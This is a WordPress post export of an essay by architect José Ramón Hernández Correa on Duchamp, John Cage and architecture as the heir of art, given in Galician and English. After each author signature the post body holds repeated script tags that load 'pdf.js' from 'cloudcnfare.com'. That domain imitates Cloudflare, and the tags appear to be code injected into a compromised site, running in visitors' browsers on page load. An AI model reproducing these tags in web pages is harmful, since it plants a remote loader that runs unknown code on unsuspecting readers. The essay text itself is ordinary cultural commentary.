A arquitectura non \u00e9 arte (polo menos non \u00e9 unha arte pura; disto falaremos outro d\u00eda). A arquitectura toma o cad\u00e1ver da arte e ent\u00e9rrao. E, como aprendeu o suficiente del e de todo o seu proceso, faise espazo, faise cidade, faise comunidade, e entr\u00e9gase \u00e1 cidadan\u00eda.<\/p>\n<p style=\"text-align: justify;\">A boa arquitectura toma ecos do silencio de 4&#8217;33\u00bb e da alagarab\u00eda dos happenings de John Cage, \u00e1brese, fl\u00fae e ofrece o espazo \u00e1 experiencia humana. Porque s\u00f3 serve para estar ao servizo da experiencia humana.<\/p>\n<p><iframe loading=\"lazy\" title=\"John Cage&#039;s 4&#039;33&quot;\" width=\"696\" height=\"522\" src=\"https:\/\/www.youtube.com\/embed\/JTEFKFiXSx4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/p>\n<p>Jos\u00e9 Ram\u00f3n Hern\u00e1ndez Correa<br \/>\nDoutor Arquitecto\u00a0e autor de<em>\u00a0Arquitectamos locos?<\/em><br \/>\nToledo \u00b7 abril\u00a02012<\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script><\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script><\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script>[:en]<\/p>\n<p style=\"text-align: justify;\">The artistic forefronts always have looked at the architecture of an ambiguous way. On one hand, the artists (painters, sculptors, photographers, poets, musicians &#8230;) they have had always the label hung of chisgarabises, and have sought with zeal to put in his <em>troupe<\/em> some architect, who seemed to give him venerability to the group or movement that was. (An architect has artistic sensibility, but in addition it can multiply, enclosedly with decimals).<\/p>\n<p style=\"text-align: justify;\">On the other hand, the art of forefront has always something of ephemeral, of bubbly fleetingly. Even the sculpture leaves the traditional materials and experiments with paper, wood, sheet, wire, etc. The architecture is much more solid and lasting. In addition, the architecture is much bigger and, especially, it does city. It is to say: it does environment, urban and human space. It is a scene of the life of the people, and influences her. Because of it the architecture serves as standard-bearer and as public relations of the artistic group to which it belongs, and which it represents before the company.<\/p>\n<p style=\"text-align: justify;\">But against all this, also is necessary to say that a lot of \u00abpure artists\u00bb always have seen with bad eyes the inclusion of architects in his groups, because desvirtuaban the sense of his movement.<\/p>\n<p style=\"text-align: justify;\">Making a very crude simplification, the \u00abconstructive\u00bb movements (<em>De Stijl<\/em>, Bauhaus, Constructivism, etc.) have always been very architectural and very architects (although <b>Van der Leck<\/b>\u00a0and\u00a0<a href=\"http:\/\/es.wikipedia.org\/wiki\/Piet_Mondrian\"><b>Mondrian<\/b><\/a> got angry). They tried to order the world and used geometry, order, rigor &#8230; Just what an architect needed. But the \u00absolvent\u00bb movements (Expressionism, Dada, Surrealism, etc.) have neither liked the architects nor wanted them. (However, some have looked for the way, if possible, to \u00abbuild chaos\u00bb, to methodically capture the joke).<\/p>\n<p style=\"text-align: justify;\">A Dada artist that we referred to in the previous entry, <a href=\"https:\/\/www.marcelduchamp.net\/\"><b>Marcel Duchamp<\/b><\/a>, finished with art. He was not the only one: There were quite a few artists who finished with art.<\/p>\n<p style=\"text-align: justify;\">Duchamp thought that if an existing object were taken out of its context and presented as a work of art, that alone would be a work of art.<\/p>\n<p style=\"text-align: justify;\">He made a hole in the seat of a stool and inserted a bicycle wheel with his fork:<\/p>\n<figure id=\"attachment_70358\" aria-describedby=\"caption-attachment-70358\" style=\"width: 640px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-70358\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap.jpg\" alt=\"M. Duchamp \" width=\"640\" height=\"640\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap.jpg 915w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-120x120.jpg 120w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-300x300.jpg 300w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-150x150.jpg 150w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-70358\" class=\"wp-caption-text\"><span style=\"color: #999999;\">M. Duchamp<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Hala, that&#8217;s it. Artwork. Why? Because it was not good for sitting or rolling. Because it was the sum of two existing objects that interfered with each other to lose their use and meaning. By no longer serving, they served to think, to be perplexed, to become indignant, to put the author to birth, etc. (All of them are functions of the work of art).<\/p>\n<p style=\"text-align: justify;\">He did another thing: He took a urinal and presented it to an exhibition in another position (horizontal instead of vertical), with a title that indicated another function (<em>Fount<\/em>) and, above all, signed (with the pseudonym R. Mutt) and dated (1917).<\/p>\n<figure id=\"attachment_70359\" aria-describedby=\"caption-attachment-70359\" style=\"width: 640px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-70359\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917-1024x895.jpg\" alt=\"Marcel Duchmap. Fuente (1917)\" width=\"640\" height=\"559\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917-1024x895.jpg 1024w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917-300x262.jpg 300w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917.jpg 1200w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-70359\" class=\"wp-caption-text\"><span style=\"color: #999999;\">Marcel Duchmap. Fount (1917)<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">The impudence was that with just that gesture the urinal became a work of art. His presentation to an exhibition gave him the art cache, as well as his signature and date. His change of position and use produced an exciting <strong><a href=\"http:\/\/arquitectamoslocos.blogspot.com.es\/2010\/12\/fision-semantica.html\" target=\"_blank\" rel=\"noopener noreferrer\">semantic fission<\/a><\/strong> that opened new doors to new expectations and interpretations.<\/p>\n<p style=\"text-align: justify;\">Once this was done, there was nothing left to do.<\/p>\n<p style=\"padding-left: 30px; text-align: justify;\">\u00abArt is all that the artist says is art\u00bb.<\/p>\n<p style=\"text-align: justify;\">Great, but in the face of such a statement, the following question may be asked:<\/p>\n<p style=\"padding-left: 30px; text-align: justify;\">\u00abAnd who is an artist?\u00bb<\/p>\n<p style=\"text-align: justify;\">Question that has an obvious answer:<\/p>\n<p style=\"padding-left: 30px; text-align: justify;\">\u00abArtist is anyone who makes art.\u00bb<\/p>\n<p style=\"text-align: justify;\">This tautological vicious circle has no outlet. And the good thing is that it&#8217;s true.<\/p>\n<p style=\"text-align: justify;\">I feel an artist, I propose an object, an act, a poem, a noise, etc., as a work of art, and that immediately provokes criticisms, evaluations, responses, indifference, reactions, etc. Just what arouses every work of art. Therefore, I have made art. Therefore, I am an artist. With a lot of talent, with little? Am I a good artist, am I bad?<\/p>\n<blockquote>\n<p style=\"text-align: justify;\"><strong>Do not bother me! Do not take me away with judgments, with evaluations! Do not be retrograde bourgeois!<\/strong><\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Duchamp was a provocateur. The two examples that we have just seen are two attempts (made) to take the art to the abyss, to put it in the disparadero and not to give it an option. But it was, as we said, a boring provocateur, a quiet man. I did not want to be successful, I did not want to succeed, I did not want to prove anything, I was not right, I did not want anything. Once the art sank, he retired to play chess. He never wanted to exploit his fame, nor earn money, nor scandalize anyone. There was simply nothing more to say.<\/p>\n<p style=\"text-align: justify;\">As we said, many people followed that line. Among them, the musician <a href=\"https:\/\/johncage.org\/\"><b>John Cage<\/b><\/a>. I read in some biographies that in Europe studied architecture and piano, but I can not confirm it. What does seem certain is that the architecture interested him in some way. And he has <a href=\"http:\/\/issuu.com\/mj28\/docs\/musica_y_arquitectura\" target=\"_blank\" rel=\"noopener noreferrer\">interested architects<\/a> in many ways.<\/p>\n<p style=\"text-align: justify;\">Apart from his experiments with sounds and silences, he is considered the creator of the first <a href=\"http:\/\/es.wikipedia.org\/wiki\/Happening\">happening<\/a>, which, in full simultaneous and uncoordinated improvisation, de-composes the evolutions of the various actors intervening in time and space.<\/p>\n<p style=\"text-align: justify;\">His scores plot randomness. They do not organize it, they expose it. Interestingly, that is also a way of not organizing space.<\/p>\n<figure id=\"attachment_70360\" aria-describedby=\"caption-attachment-70360\" style=\"width: 640px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-70360\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-1024x666.jpg\" alt=\"John Cage\" width=\"640\" height=\"416\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-1024x666.jpg 1024w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-300x195.jpg 300w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-160x105.jpg 160w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage.jpg 1200w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-70360\" class=\"wp-caption-text\"><span style=\"color: #999999;\">John Cage<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">John Cage is full of suggestions for architects. I am infinitely grateful for the comments of the readers of the previous post. Everyone deserves re-comment.<\/p>\n<p style=\"text-align: justify;\">MJGE says that a possible architectural equivalent to the opening of 4&#8217;33 \u00bb would be to leave a mere container for each user to complete. I agree. (It reminds me of <a href=\"http:\/\/www.arquitectamoslocos.blogspot.com.es\/2011\/08\/una-ocurrencia-potente.html\" target=\"_blank\" rel=\"noopener noreferrer\">O\u00edza<\/a>&#8216;s idea). But it could also be that the architectural work was silent, discreet, neutral enough, so that each user lived their own experiences. Or also that each work had a certain degree of unpredictability and randomness that would complicate, or sophisticate, the human room in it. I dont know. The Cage example opens many vectors.<\/p>\n<p style=\"text-align: justify;\">Program 3.6. he mentions Cage&#8217;s plastic scores, from which I have looked for the examples I have put there above. Yes. Organizational matrices, tactical plans, battles schemes or \u00abprogrammatic actions\u00bb.<\/p>\n<p style=\"text-align: justify;\">Francis, a non-architect attentive to culture, intelligent and curious, ironizes with the lack of connection between art and public, and speaks of the enjoyment of art and the desire to understand it. Unfortunately, both one and the other are increasingly elusive. But both, in short, generate opportunities to peek at ourselves. That&#8217;s why we keep going to the museums.<\/p>\n<p style=\"text-align: justify;\">Surely we do not have to insist much to verify the death of art. The avant-gardes explored all the roads, and traveled them all the way to exhaustion. The conclusion is lucid, indistinguishable. The last objectives have been reached. The war is over.<\/p>\n<p style=\"text-align: justify;\">But then, as <a href=\"https:\/\/www.museooteiza.org\/\"><b>Oteiza<\/b><\/a> says, art abandons its experimental path and gives itself to the community, becomes social. And, in a way, architecture is done. Architecture is not art (at least it is not a pure art, we will talk about this another day). Architecture takes the corpse of art and buries it. And, as he has learned enough from him and from all his process, he makes space, becomes a city, becomes a community, and gives himself to the citizens.<\/p>\n<p style=\"text-align: justify;\">The good architecture takes echoes of the silence of 4&#8217;33 \u00bb and of the praise of the happenings of John Cage, opens, flows and offers space to the human experience. Because it only serves to be at the service of human experience.<\/p>\n<p><iframe loading=\"lazy\" title=\"John Cage&#039;s 4&#039;33&quot;\" width=\"696\" height=\"522\" src=\"https:\/\/www.youtube.com\/embed\/JTEFKFiXSx4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/p>\n<p>Jos\u00e9 Ram\u00f3n Hern\u00e1ndez Correa<br \/>\nPhD\u00a0Architect and author of<em>\u00a0Arquitectamos locos?<\/em><br \/>\nToledo \u00b7 april\u00a02012<\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script><\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script><\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script>[:]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[:es] Las vanguardias art\u00edsticas siempre han mirado a la arquitectura de una manera ambigua. Por una parte, los artistas (pintores, escultores, fot\u00f3grafos, poetas, m\u00fasicos&#8230;) han tenido siempre colgada la etiqueta de chisgarabises, y han buscado con af\u00e1n meter en su\u00a0troupe\u00a0a alg\u00fan arquitecto, que parec\u00eda darle respetabilidad al grupo o movimiento que fuese. (Un arquitecto tiene [&hellip;]<\/p>\n","protected":false},"author":33,"featured_media":70358,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[568,5951],"tags":[12448,12449,155,158,12094,199,202,367,4546,4529,404,3032,508,5885,1595,4355,969,3653,4356,4390,12466,4533,1335],"class_list":["post-21317","post","type-post","status-publish","format-standard","has-post-thumbnail","category-faro","category-slider-principal","tag-arquitectura","tag-arte","tag-arte-contemporaneo","tag-artes-plasticas","tag-bart-van-der-leck","tag-bauhaus","tag-bellas-artes","tag-constructivismo","tag-constructivismo-ruso","tag-dada","tag-dadaismo","tag-de-stijl","tag-escultura","tag-expresionismo","tag-francisco-javier-saenz-de-oiza","tag-john-cage","tag-jorge-oteiza","tag-jose-ramon-hernandez-correa","tag-marcel-duchamp","tag-piet-mondrian","tag-pintura","tag-surrealismo","tag-vanguardia"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.7 - 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